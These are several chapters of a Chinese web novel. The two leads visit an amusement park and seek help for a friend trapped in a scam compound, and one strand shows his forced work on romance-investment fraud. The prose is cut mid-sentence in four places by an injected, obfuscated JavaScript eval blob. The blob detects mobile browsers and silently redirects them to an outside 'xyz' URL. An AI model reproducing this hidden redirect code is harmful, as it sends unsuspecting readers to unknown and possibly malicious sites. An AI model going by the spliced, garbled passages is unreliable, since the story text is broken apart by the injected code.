他怎么知道我想说什么?陶律夏一愣,旋即快步跟上。 初夏刚至,梧桐枝繁叶茂,片片绿叶舒展开来,阳光穿过叶缝洒落在地上,一块明一块暗的斑影,落在二人的步履间。 “结合主线任务推进的节奏,现在是合理插入轻松活动的最佳窗口,我有三个提议。”陶律夏一边走一边说。 罗乐一听这开场,脚步一顿,警觉地偏过头:“提议?还三个?” “第一个,”陶律夏举起一根手指,“我在街口看到一家酱菜作坊,他们使用传统泡菜坛发酵,但没有采用水封设计。我想去调研一下,是不是使用了其他手段创造厌氧环境。” 罗乐默默看了他两秒:出门遛弯都能让他升级成田野调查,陶神真是时时刻刻给人制造“惊喜”。 “第二个呢?”罗乐动用了早晨六点爬起来跑步的意志力,耐下心温和提问。 “第二个……”陶律夏毫无自觉地翻出手机备忘录,“我注意到宾馆附近这条街上的公共长椅落座率异常偏低,推测可能与材质热导率有关——” “……你该不会打算让我去坐那些凳子,试试屁股烫不烫?”罗乐一脸难以置信。 陶律夏点点头,口气无比自然:“你来试坐,我来记录。” “第三呢?”罗乐瞥了他一眼,一副小祖宗你赶紧把第三个念完,我好统一反对的表情。 陶律夏没说话,前两个提议其实都是烟雾弹,真正的“图谋”是第三个。 他现在最想做的是摄入一些咖啡因,最佳方案:拿铁咖啡加双倍奶油,再配一个苹果肉桂卷,构成一段略带奖励机制的下午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939318|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时段。 可问题是,现在已经是16点27分,不确定会不会触及了罗警官「太晚了,不许喝咖啡」的红线,可能会被他判定为“破坏生物钟”的不良行为。 从个体代谢层面讲,这个时间点摄入咖啡因并不会干扰他的夜间休息,也不会造成心率负担,反而能小幅提升思维活跃度。 但陶律夏犹豫了,他采用了“对比策略”—— 先抛出两个离谱的建议震撼对方,最好能把那人的心理防线炸出裂缝,再顺势提出“咖啡+小甜点”的真实小目标,以最大概率来通过审查。 ——为什么呢?为什么自己要用这么复杂的方式喝一杯咖啡? 并不是怕惹怒他或者挨训,以长久以来对那人的观察,他最多就憋红脸、握紧拳、声量超过平均值50%,看着唬人,却从没有真正和自己发过火。 一个如此简单的日常决策,常规条件下0.7秒就该得出结论。现在却被自己反复推演、迟迟没说出口。 他到底在顾虑什么呢? 排除所有可能的选项,最终可归因项只有一个:他不想让罗警官不高兴。 至于为什么不想,可能是因为——自己在乎他。这个念头突兀地浮现,陶律夏愣住了,咖啡一瞬间就……不想喝了。 “怎么不说话,没招了?”罗乐笑了笑,手指一抬指向远处缓缓转动的摩天轮,“刚好,我给你换个研究课题。” 陶律夏迟钝地反应了两秒:“……游乐场?” “研究高空设施下人类心率波动,顺便统计尖叫分贝。”罗乐一本正经道,“这不比你刚才提的那两个更有研究价值。” “这个时间去游乐场?”陶律夏微皱眉头。 “你对泡菜坛子都能研究上头,”罗乐笑着偏头看他,“怎么就不能跟我去游乐场转转?” 说着,他圈住陶律夏的肩膀,一副说服失败也要强制执行的架势:“项目组出外勤,我来带队!” 陶律夏把他搭在肩上的手拨开,站在原地没动:“方向不对,从那边走更近。” “你不是想喝咖啡吗?”罗乐轻描淡写地说了句。陶律夏抬眼看他,眼神里的错愕没来得及藏住。 “你刚才不就在搜咖啡馆吗?提前声明啊,我可没偷看,是你站的太近。”罗乐说着,大步向前走了几步。 见陶律夏没跟上,他又停下来等着,板着脸装模作样地补了一句:“赶紧的,买了带走,再晚就别喝了!” “几点算晚啊?” “七点!” 30. 烟花绽放 从咖啡店到游乐场,陶律夏选的第一站是鬼屋。塑料骷髅挂在鬼屋门头,室内隐隐传来几声机械式的鬼怪尖叫。 “你确定你想去这个?”罗乐皱着眉问。 “嗯,现在户外还有点热,鬼屋里应该比较凉快。”陶律夏步伐轻快地走了进去。 好家伙,鬼屋成给你纳凉的了……罗乐随即跟了进去。通道狭窄,光线昏暗,脚步声被地胶吞得干干净净。 忽然,墙上闪过一个个血红手印,接着“咣”的一声,一个人偶挂着绳索从天而降,险些撞到两人。 罗乐条件反射般地往边上一错,刚要骂一句,就听见旁边传来冷静的评价声—— “手印的灯是间歇闪烁,用的是三秒定时器。假人滑轨做得太短,下落速度不够,冲击力严重不足。” “你……你能不能别说话。”罗乐冲着陶律夏咬牙低语。 “你怕?”陶律夏偏头看了他一眼。 “我想体验一下‘人类的恐惧’可以吗?”罗乐愤愤道。 两人继续往前走,忽然传来诡异的小孩笑声,灯光照亮了走廊的一处角落,一只玩偶的头“咔啦咔啦”转向他们。 陶律夏靠近了一点,把手伸向玩偶的头。 “你……你别乱碰!”罗乐喊道。 陶律夏收回了手:“我只是想看看他们怎么固定头部。” 话音刚落,旁边的帘子“哗”地一下掀开,一个满脸血浆的假人从里头扑了出来。 罗乐下意识退了一步,肩膀直接撞在陶律夏身上,他刚喘了口气,就听见平淡无奇的补充:“假人的路径有限制,走不出射灯范围,不会碰到你的。” 罗乐瞪了他一眼:“你能不能让我安心走完这场?” 走到第三个区域,四周安静得可怕,突然一阵冷风吹过,紧跟着,一名真人NPC扮演的白衣女鬼从暗处尖叫着冲了出来,停在了二人眼前。 “我靠——”罗乐没忍住爆了句粗口。 陶律夏站在罗乐旁边,镇定如初:“注意,她刚刚静止时间偏长,可能会触发下一个启动点。” 女鬼正准备升级一波吓人操作,结果被当场剧透,愣在原地,差点破功。 ——“这个鬼的尖叫声不太真实,没有做回声处理;” ——“假尸体漂浮的速度过慢,可能是气泵功率不足;” ——“你别怕,视觉错觉,它离我们其实还有半米……” 罗乐的表情从最初的防备、惊恐,最后只剩下麻木,整个人处于一种:“我到底为什么要花钱来受你二次创伤”的精神错乱边缘。 终于走到出口,门帘一拨,世界明亮。 “整体恐怖节奏偏弱,结构重复率过高,可能是预算不足。”陶律夏平静总结。 罗乐扶住墙,深呼吸了两次,连连点头表示赞同:“对对对,确实没啥意思,这里头最恐怖的那个就是你。” “嗯?”陶律夏偏头,表情一如既往地无辜。 “你是不是从来没有和朋友来过游乐场?”罗乐问。 陶律夏神情微顿,睫毛低垂了一瞬,半天才轻声答道:“嗯,第一次和朋友来游乐场。” “怪不得!”罗乐愤愤道,“你先是拖我进那破鬼屋,又全方位地破坏我的游戏体验,你得补偿我!” “怎么补偿?”陶律夏从恍惚中回过神。 “你请我吃爆米花吧!”罗乐往边上一指。 陶律夏愣在了原地,上一次吃爆米花,好像也是在游乐场,差不多,七年了吧…… ——过山车从头顶呼啸而过,耳边充斥着风声和此起彼伏的尖叫,他望着直冲云霄的钢铁怪物,既想上去,又有些怕。 “想坐吗Sunny,我陪你。” “……下一次吧,妈妈。” 母亲没再劝,只是笑了笑,牵着他的手,在长椅上坐下,将一桶热乎乎的爆米花塞进他怀里。 那天的爆米花到底是什么味道的?陶律夏全都不记得了,只剩下遥不可及的香气,偶尔浮现。 “喂!”罗乐在他眼前挥了挥手,眉毛挑得老高,“刚才你在鬼屋里滔滔不绝,停都停不下来,现在让你请客,你又哑火了?” 陶律夏正要张口,却看见罗乐蹲下了身—— “你鞋带怎么开了?鬼屋里那么黑,你没被绊倒,真是奇迹。” “我可不是帮你系啊,我这是在教学!”罗乐强调说,“你看好了,像这样,先把左边的压在右边,打一个结,再反过来右边的压上左边,这样打出来的是平结……” 鞋带究竟怎么打,陶律夏一句也没有听清,他的注意力都在罗乐低垂的眼睫和交错翻飞的手指上。小时候出去玩,母亲也经常帮他系鞋带,不过她没有教过自己绑得更牢的方法。 陶律夏看着眼前的人,忽然产生了想要逃跑的冲动,一切令人着迷的东西,总是先唤起恐惧,而不是别的什么…… “在平结的基础上,绕两下,再在这上面绑个蝴蝶结,就好了。”罗乐继续说着。 想抽身离去的脚步,迟迟不忍迈下,现实仿佛短暂地屈从了自己,默许他在这份交错的温柔里多停留片刻。 “这样打的更牢。”罗乐满意地站起身,拍了拍手,“小夏,你要吃什么味道的爆米花?” 陶律夏偏过头:“你讹来的东西,理应按你喜欢的口味。” “那我就随便买咯。”罗乐嘴角一咧,向旁边走去。 陶律夏看着他的影子一点点地远离,又靠近,直到热乎乎的爆米花桶搁在了自己手上,温热、蓬松,奶油焦糖的味道。 远处传来游客的尖叫声,陶律夏远远地看了一眼,问:“要不要去玩过山车?” 罗乐一听,眼睛亮了:“行啊!” 排过山车的人不少,但队伍推进得很快。 “你真的从来没坐过过山车?”罗乐问。 “嗯。”陶律夏点点头。 “你听着啊!”罗乐边走边警告说,“一会不许在我旁边讲牛顿第二定律,或者讲什么‘失重状态下内耳平衡机制变化’那种东西。” “还有,记住千万不要闭眼,闭眼容易晕。”罗乐又叮嘱。 “好……” 过山车缓缓升 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939319|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至最高处,然后猛然俯冲,陶律夏低呼一声,那短促的颤音立刻被风吹散。 过弯的瞬间,身体仿佛悬空一秒,被拉扯着向一侧倾斜,整个人都像是被甩进了一场失控的狂奔。 陶律夏闭上眼,失重感铺天盖地般袭来,一瞬间像被抛离了所有熟悉的依托,好像又回到了小时候,那个在人潮声中无所适从的自己。 就在这时,耳侧忽然传来熟悉的嗓音——“小夏,快看!风景绝了!” 像是被什么轻轻一拽,陶律夏睁开了眼睛。玫瑰色的天空,金色的水面,交错纵横的轨道,在高速中拉成模糊的流光。 心脏仍在狂跳,但紧张正慢慢转化为某种奇异的畅快感。过山车停稳的那一刻,陶律夏紧绷的身体也彻底松了下来,目光下意识地朝同伴那边看去。 罗乐已经跳了出去,朝他伸出一只手,掌心朝上,指节微弯,姿态自然:“魂儿丢了?赶紧下来!” 陶律夏抬手搭了上去,掌心一触,意料之内的温热。 被牵着走出十米,他缓缓抽出手指,若无其事地塞进裤兜里。神经科学可以解释一切“亲密感”的本质,这是大脑在剧烈刺激后,释放出了“血清素奖励”,游乐场限定的化学反应…… 两人顺着游乐场中轴线漫无目的地绕了一圈,在娃娃机前看别人疯狂刷币,讨论碰碰车的碰撞机制…… 直到晚霞被天际最后一抹深蓝吞没,摩天轮的轮廓在夜空中亮了起来。 排了二十分钟的队,坐进座舱时,夜已经彻底降临。摩天轮缓缓升高,城市在脚下铺展,突然,一簇烟花在空中炸开,接着,第二朵、第三朵,五彩斑斓地接连绽放。 “唉。”陶律夏偏过头,扫了罗乐一眼。 罗乐:“怎么了?” 陶律夏:“你能不要用手压着我的肩膀吗?” 罗乐低头一看,他的手落在了陶律夏的肩膀上,掌心顺着座椅的弧度贴着对方的肩胛骨,五指微拢,像是下意识地想护着他…… “啊……”他连忙松了手,在裤缝上抹了几下掌心的汗,“没注意。” 等到陶律夏转过头看向窗外,罗乐才肆无忌惮地重新打量起来,目光从他毛茸茸的发顶,滑向线条干净的后颈,最终停在他微微泛红的耳尖上—— 一圈浅浅的红色,让人忍不住想知道,是天太热,还是……什么别的原因。 细碎的烟火连同难以名状的喜悦,窸窸窣窣地落在心上,璀璨而炙热,像一场金色的雨…… * “成功了!” 一声激动的喊叫声划破沉闷的空气,紧接着,大厅内响起雷鸣般的欢呼声。 人群骚动起来,有人兴奋地拍着桌子,有人推推搡搡往窗边挤去,椅子倒地的声音,在沸腾的人声里都显得微不足道。 雨不知什么时候停了,玻璃上还挂着未干的水痕,夜风拂过,裹着潮湿的泥土气息。 周隽犹豫了一下,也跟着站了起来,朝窗边走去。 一簇簇烟花拖着金色的尾焰腾空而起,它们划破沉沉夜幕,越过灰暗的建筑群,在漆黑的天空中炸裂。 31. 晚风沉醉 放烟花,是诈骗基地里的一种荒谬仪式感。 绚烂的火光为胜利而绽放,但胜利的代价是屏幕那端某个受害者掏空家产的惨剧。 有人低头痛哭流涕,才有人仰头观赏胜利。 以刚才那组烟花的体量来看,估计这波至少进账了百万以上。 烟花散尽,天色又恢复了沉默的黑。周隽回到工位,他来这座诈骗园区,已经六周了,日夜颠倒,干十休一,每天高强度工作超过十二个小时。 因为英文不错,刚被带来这里没几天,就直接分到了所谓的“欧美高端盘”。曾经的雅思高分,现在用来哄骗海外的孤独男女掏钱投资。 周隽盯着聊天框里那条两天未回的消息,感觉应该是黄了。以前,这个人可是一句不落秒回的。 他迟疑了几秒,敲下一句:“Andy,在干嘛?” 信息未送达,系统弹出提示:你已被对方删除或拉黑。周隽食指一点,把客户标记为“无效”。 ——算他清醒。 大厅天花板上的白炽灯闪了一下,周隽看了一下时间:八点整。连着两周了,每到下午四点和晚上八点,都会闪,好像是备用电源启动对电路造成了瞬时负荷。 周隽忽然想松口气,手指刚要离开鼠标,一道阴影悄无声息地逼近。他脊背一僵,下意识坐直了身子。 组长站在身后:“这个单怎么又黄了?“ 周隽低下头,语气低了几分:“客户察觉了,没上钩。” “你怎么回事?你拿着‘那张脸’三天了还没得手?和你说多少次了,聪明点,别在死鱼身上耗!” 周隽没回嘴。刚来的那几天,他也曾愤怒、抵触,但现实很快让他明白了这里的逻辑。没法跳出去,只能悄悄后退半步,把那些过于热情的剧本演得平淡些。 他还不想那么快腐烂…… 骗子抛出的诱饵,简单得近乎随意,给黑市买来的账号,群发一条短到不能再短的消息:“ 嗨,你好吗?” 看上去像是误发,其实是个筛子,绝大多数人都会划掉不理,但总有那么一两个人会回一句。 他们,就是骗子想要勾住的“鱼”。 从这一刻起,精心打造的“恋爱剧本”悄然上线,盗来的照片、编造的经历,话术模板按场景分类,还会定期升级。 等到感情酝酿得刚刚好,投资链接顺势抛出。前期小额返利,建立信任,中期高额诱导,加大投入,反正也无法提现,直到最后那笔“重仓”转进,客服失联,平台下线,“真爱”从此人间蒸发。 “哈哈,这家伙真的转了,五万刀!大傻子!”角落里传来一声兴奋的叫喊,紧接是几声哄笑和口哨声。 死气沉沉的大厅终于因为“喜报”短暂地活了几分钟。 周隽没笑,他一脸淡漠地敲着键盘。今天本来是他的休息日,他提前申请了使用手机的权限,这是管理员口中每周一次的“人道窗口”,好歹能给家人报报平安。 但有人生病了,组长随手点了他的名字,让他顶班。 诈骗不能停…… * 晚上,罗乐和陶律夏来到槟州老城区的一家火锅店,饭点刚到,店里已经满座。 铜锅咕嘟咕嘟地冒着白雾,空气里都是香料的味道。 “难得来一趟,你们两别客气。”冯启川夹起一片毛肚,热情地往陶律夏碗里送:“小陶你怎么吃这么少?赶紧吃,毛肚一煮就老。” 话还没落音,罗乐眼疾手快,碗一伸,把毛肚“夺”到自己碗里,嘴上还嫌弃道:“您甭管他,事儿多得很,整本菜单他能吃的可能不超过十样。” 陶律夏偏过头,眼神淡淡地扫了罗乐一眼。 明明没说话,却成功让罗乐有种“警告一次”的感觉。他暗自偷笑,捡到便宜似的凑近了一点,压低声音问:“虾滑吃吗?” 见他没反对,罗乐舀起几块虾滑下锅,还不忘搅上几圈,确认没粘底才收了勺。 “小陶,要不你再看看点些别的?”冯启川说着,又把菜单往陶律夏那边推了推。 “谢谢冯叔叔。”陶律夏接过菜单,一副“礼貌姿态”拿捏得恰到好处。 冯叔叔?罗乐看了他一眼。还叫上叔了?给别人升辈都这么自然,陪你练球、帮你挖坑、给你撑伞的「罗警官」,怎么这么长时间了,连声「哥」都没混上? 罗乐愤愤地嚼完豆皮,憋了三秒,终于忍不住,侧头盯着陶律夏:“帮我加三瓶啤酒,冰的。” 陶律夏连眼神都没给他一个,面无表情地把菜单递给服务员:“一壶玉米汁,谢谢。” 罗乐:“……” 年轻人真是没有心。他算什么?空气吗?还没来得及瞪眼,就见冯启川端起酒杯,笑着打断:“刚才说到哪了?” “哦,说他去了一家新加坡公司,您看看。”罗乐点开网页递过去。 冯启川在屏幕上划了几下,说:“东南亚那边的一些‘高薪职位’,不少是坑,很可能是进了赌场或者诈骗园区。这个看着就像。” 罗乐夹起豆腐咬了一口:“什么情况?您具体说说。” 冯启川点点头说:“去年,2019年那会,东南亚有些地方发了一批赌博牌照,政府允许外国人投资建赌场,本来是想搞旅游经济,结果一堆灰产混进去了,一些诈骗分子也趁机过去了。” 罗乐:“诈骗?这和诈骗也能搭上?” “嗯。”冯启川微微抬起下巴,“骗和赌本来就是一条路上的生意,而且电诈利润高,成本还低。” “我们最近碰上不少这种案子,在网上聊天被骗上百万的都有。”冯启川抓了几颗花生米丢进嘴里。 “诈骗园区刚兴起,正是缺人手的时候,不少人从边境偷渡过去,想捞一把,也有用高薪的幌子招人,盘口也需要‘人才’。” “等人到了,护照一扣,通讯一断,就跑不了了吗?”陶律夏问。 冯启川点了点头:“如果按你们说的,他应聘的是新加坡公司,结果人却落在马达纳,还联系不上,十有八成是进去了。” “如果真进了那种地方,怎么救呢?”罗乐端着杯子同冯启川碰了一下。 “如果是偷渡去的,那真不好说。没入境记录、没身份登记,根本查不着,就像人间蒸发。”冯启川收了笑意。 “他有入境记录,3月27号从槟州机场出发,入境昆塔。”罗乐说。 “如果确定他入境昆塔后失踪,那得先去当地报失踪案,得靠属地警方协同大使馆处理。” “不过,如果他进了「三不管地带」,那就是另一回事了。”冯启川语气一沉。 “……三不管是什么?”陶律夏问道。 “就说马达纳,有些地方被地方势力控制,政府都管不到。”冯警官沉声道,“那种地方,你就算去当地报警也没用。” “境外这些诈骗案也让我们很头疼啊,被骗过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939320|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,需要营救,那得跨国合作。 今年2月份,我们这边是抓了几个诈骗分子,但都是确定有犯罪事实,趁着那些人过年回国时逮的。你们朋友这种,我能做的也就是等他被遣返时交接一手。” 雾气升腾,陶律夏垂着眼,动作轻微地顿了一下。罗乐看了他一眼,没说什么,只是捞起虾滑放进他碗里,又给冯启川倒满酒。 “要真在三不管地带,正规手段不行,还有没有别的法子?”罗乐顿了顿,“您见多识广,有没有路子?” 酒过三巡,冯启川缓声道:“有些‘中间人’专门干‘赎人’的生意。你出钱,他谈判,有救出来的,也看怎么谈。” 罗乐抬眼看他:“您认识这种人?” “嗯,但你们得弄清楚人到底在哪儿?”冯启川眯起眼,“据我们了解,马达纳的诈骗园区主要集中在帕桑、妙兰、汶邦还有珀南。” “先确定他在哪个园区,到时候我再问问,有没有能搭上话的‘中间人’。”说着冯启川举起酒杯,和罗乐轻碰了一下:“有事说话,别客气。” 和冯启川告别后,两人走出火锅店,晚风一吹,身上的热气散了些。路灯映在河面上,飘飘荡荡碎成一片星光。 “今天是周日,但周隽没有和我联系。不知道是不是出什么事了?”陶律夏看向江对岸的灯影。 “别多想,他上次联系你还是周三,说明时间不是固定的,再说——”罗乐脚步略缓,“要是真困在诈骗园区,那些人是拿他们当劳力,安全问题倒不是最棘手的。” 陶律夏“嗯”了一声,侧头看向罗乐:“你最后喝太多了,十分钟喝了150毫升白酒。” “你冯叔叔敬的酒,我能不喝?”罗乐嘴角一歪,话音里带着点酒精勾出的松弛,“我还没说你呢!我叫他哥,你怎么叫他叔叔,你以后得和我保持一致,知道不?” “再说,哥哪儿喝多了?”罗乐说着,把手插进兜里,步子迈得松松散散。陶律夏抬手轻轻推了他一下:“那你走直线看看。” 罗乐立刻转过身,倒退着走了几步,脚步歪歪扭扭,笑道:“这样?” “还说没喝多……”陶律夏低下头。 话音刚落,罗乐忽然停住了脚步,他抬手勾住陶律夏的肩膀,顺势一带,把人轻轻拉到自己身侧:“那你扶着我点儿?” 声音轻得像夜风贴着耳廓拂过,陶律夏想躲,却被那只手不动声色地扣住。 “答应我一件事,行吗?”罗乐低下头,温热的气息扑在脸侧,身体却控制着的距离,并不算逼人。 陶律夏喉结轻轻动了动,眼神微晃:“……什么?” “你答不答应?”罗乐低声追问。 陶律夏:“你先松手。” 罗乐:“你答应,我就松手。” “快松开……”陶律夏挣了下,两道影子轻轻一晃。 罗乐松开手,低头笑了一下,没再说话,独自往前走了。 陶律夏看着那背影,理智和某种不明情绪短暂交战,他叹了口气,喊了一声:“你又要吃什么?” 罗乐停下脚步,回过头。 “律夏……”昏黄的灯光打在他脸上,眉眼收敛,没有半分打趣。 “干嘛?”陶律夏走近两步。 罗乐看了他一会,缓缓开口:“以后要是遇到危险,你能不能快点跑?别管东西,别管别人,第一时间,快点跑。” “好不好?” 32. 童年轶事 宾馆自助餐厅里的人不算多,罗乐扫了一圈,就在靠窗的位置看到陶律夏,他坐姿挺直,正一丝不苟地切着盘里的煎蛋。 罗乐昨晚虽然喝了酒,但没完全断片。 他记得握着陶律夏肩膀时的感觉,也记得自己说“你答应,我就松手”时,对方微微一顿的气息。 可后来,到底有没有答应? 两人在河边站了一会儿,吹了点风,再之后,他的脑袋就开始迷糊了,那句“好”,到底说没说? 应该是没有…… 否则这么重要的事,他怎么会记不清。罗乐慢吞吞地走过去,拉开椅子,坐到陶律夏对面。 “你好点了吗?”陶律夏抬头看了他一眼。 “还好。”罗乐喝了两口橙汁,“昨晚……我没说什么乱七八糟的吧?” 陶律夏放下刀叉,眼里闪过一丝揶揄:“小学语文考试偷看同桌作文,觉得开头写得太好了,忍不住抄了一段。这个算吗?” “……”罗乐差点被刚咬在嘴里的烤肠卡住喉咙,他咳了两声,“你怎么上来就挂我黑历史?” “你自己说的。”陶律夏抬起头看了他一眼,神色平静,“还有——” “小学体育课做扩胸运动时背诵《FATE》里“吾为所持剑之骨”的高燃咒语,热血到两眼发光,结果老师让你把杀气收一收。” 罗乐:“……” 陶律夏叉了一块蜜瓜送进嘴里:“你高燃了多久?” “一分十二秒……”罗乐低声嘟囔。 “记这么清楚?”陶律夏看他一眼。罗乐叹了口气,神情复杂:“老师录像了。” “那你得黑了他的云备份。”陶律夏抿了一口咖啡,把杯子轻轻搁在托盘里。 “哎!”罗乐立刻坐正了些,半认真地教训道:“小小年纪别老想这些歪门邪道,黑别人网盘可是违法行为!” “哦……” “还有没有?”罗乐小心翼翼地问。 “你的童年轶事大同小异,不过有一个——”陶律夏轻笑了一声,“让我有些意外。” “是什么?”罗乐大惊,脑子飞快筛查可能出丑的过往,能让疯批本人都觉得意外,怕是连做人都不能继续了…… “初中一年级,”陶律夏慢悠悠道,“你在小卖部门口,看到两个小学生扭打,以为是欺凌事件,当场冲上去保护‘弱小’的一方,结果是兄弟俩在抢辣条,事后你被家长暴揍。” 罗乐听完松了一口气:“这说明我从小就有正义感,所以现在才当警察。” 陶律夏:“不,你那把火不是为了正义,你说的是——‘辣条这种垃圾食品,是一切混乱的根源,总有一天我要把它们从地球上铲除。’” 罗乐:“……” “我没想到你这么恨辣条。”陶律夏又端起咖啡,一本正经地点评:“但以你目前的发展路径,想实现这个愿望,恐怕……有点难哦。” “那你说,我得干什么才能干掉辣条?”罗乐心笑,决定陪他胡说。 “一种可以一脚踩塌辣条厂房的生物……比如,哥斯拉吧。”陶律夏憋着笑。 “我干嘛非用脚踩?我用尾巴扫不是更干脆?” 罗乐也乐了。 陶律夏笑出声:“用尾巴误伤太大,隔壁冰棍工厂可能得跟着陪葬。” “我这是当的哪门子怪兽?”罗乐故意抬高声音,装作抱怨,“扫完街,我是不是还得去联合国自首,‘对不起,我一尾巴没收住,把小卖部重工园刮秃了’?” “不错,很有画面感,审判员必须得是章鱼才对味。”陶律夏笑得停不下来。 “瞧把你乐的……”罗乐看着陶律夏,“这件事你到底和谁站一边?” 陶律夏抬头,唇角含笑,眼里一派从容:“我站在正义这边。” “正义又是谁?”罗乐笑着追问。 陶律夏看着他:“你。” 罗乐心头一热,面上却没露:“我昨天就没说点……正常话吗?” 陶律夏没应,反问道:“为什么这种事你还要挨揍?” “因为我爸是校长。”罗乐咬了口面包片,含糊道:“他的逻辑是——只要我闹出动静,就是我惹事生非。” “有些时候,家长不讲道理,只想孩子顺从。”陶律夏说着,往罗乐手边放了一个橘子。 “这橘子是干嘛的?安抚哥斯拉情绪?”罗乐剥开往嘴里塞了两瓣。 “我曾经邀请你吃辣条,属于情感误伤,这是补偿。”陶律夏说着也剥开一只,慢悠悠送进嘴里,“等你吃完饭,我有东西要给你看。” “什么东西?”罗乐心头一紧,生怕他掏出什么黑历史的存档版。 结果还真是份文档—— 《关于“遭遇突发事件时优先避险”建议的反馈(临时条款)》 鉴于R·L提出的“遭遇突发风险时应优先避险”建议,本人已对「迅速逃离」行为的定义进行修订,并明确可执行标准; 1.定义“危险”的触发标准:(略) 2.满足以上标准后,执行的动作路径:(略) 3.适用场景模型 & 预警语义识别:(略) ……(略) 看着密密麻麻的条文,罗乐整个人都有点懵。 昨晚带了点醉意,说出口的那句话,居然被他认真对待、条分缕析、成文立案。 罗乐张了张嘴,半天才找回声音:“……你写这个,写了多久?” 陶律夏:“两个多小时。” “你这是……专门写给我的?”罗乐的声线都有点紧。 陶律夏点点头:“你郑重提出的事情,我当然得认真回应。” 罗乐心头一热,低头仔仔细细看了一遍,半晌才低声嘟囔:“我觉得还少个东西。” “什么?”陶律夏看着他。 罗乐:“一句话摘要,明确表态那种,咱们是不是也可以来一句。” “那句我可以当面告诉你。”陶律夏目光直白:“如果确有危险,我会第一时间跑。” 空气里弥漫着橘子的清新气味,罗乐的眼神一直黏在那份文档上,还从来没有人,给他写过一份文档呢。 专门写给他的,内容详尽、条理清晰、格式齐整、还带编号的……等等,标题下面的字母缩写是什么? “R·L?”罗乐抬头看着陶律夏,“L我懂,是‘罗’或者‘乐’,那R呢?啥意思?” “一个代号。”陶律夏指尖微微蜷起,他若无其事地站起身:“半小时后我要上网课,下午四点我们在大厅集合,一起去机场。” “喂,你别走啊!”罗乐立马跟上,“R是啥?Rose?玫瑰?你搞浪漫呢?” “……”陶律夏头也没回,“罗警官,你的词汇量就这么贫乏?” “R到底代表啥?不会是你给我起的外号吧?”罗乐紧咬不放。 陶律夏按下电梯按钮,走了进去。 “到底是什么?”罗乐穷追不舍,“你快说,是不是我想的那个?!” “有个正事。”陶律夏抬起头,“周隽今早发消息,说本周日下午四点会给我打电话。” “他用的是「会」。” …… 此刻,周隽正躺在床上,他又一次调出记忆里所有和「地点」有关的细节。他必须要确认,自己现在究竟在哪儿。 手机被收走,每次使用都要单独申请,操作界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939321|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面还会同步投放到墙上的大屏,供管理员全程监视。 想查询信息,或者发出任何求救信号,几乎不可能。唯一的线索是,他记得来的路。 当初,中介说得天花乱坠——新加坡的工作签证审批时间长,先安排他去昆塔的“培训基地”过渡。 刚去的前两天,他确实待在昆塔,有网、有宿舍、有教室,甚至还有人讲课,看起来像模像样。 直到第三天,一切都变了。 他和几个“新员工”被带上一辆面包车,说是要带他们参观项目基地。 车一路往南开了六七个小时,直到过河时短暂停车,隔着车窗,周隽看到了桥头的蓝白色路牌:Kun-Ma International Bridge昆马国际大桥。 那一刻,寒意直冲脑门,昆塔、马达纳,他们被带到了国境线…… 过桥后,一行人被强迫换乘吉普车,还被套上了头套。 看不见任何东西,但耳朵还在听,身体还在感知。汽车轮胎碾在石砾路面上,速度不算快,推测不会超过60公里/小时,一路总共花了三十多分钟。 …… “周隽又给你发了暗语长诗,这次用的是等差数列藏字法,我早上看到你的转发了。”罗乐看着陶律夏,“这事我提前找人部署,你先说‘R’到底是什么?” “Romance?Reverie?Resonance?你搞哪一出呢?还整缩写代号!别告诉我,你是怕念出来尴尬。” 电梯门“叮”的一声开了,陶律夏停了一下,轻声道:“我错了。” “承认了。”罗乐哼了一声,“承认不该给我起外号?” “我不该说你词汇量贫乏。”陶律夏微微一笑。 “我词汇量可能确实没你多,但我好歹也是保送研究生的!你到底写的啥?”罗乐锲而不舍,步步紧逼。 “你如果再问,我就把L换成——Loudmouth。”陶律夏关门前丢下一句,“下午见!” 楼道归于安静,罗乐站在门口,轻笑出声:“行啊,现在都开始明目张胆地威胁人了?” 做英语阅读估计都能读出作者潜台词的学神,现在连个字母都不敢念了? 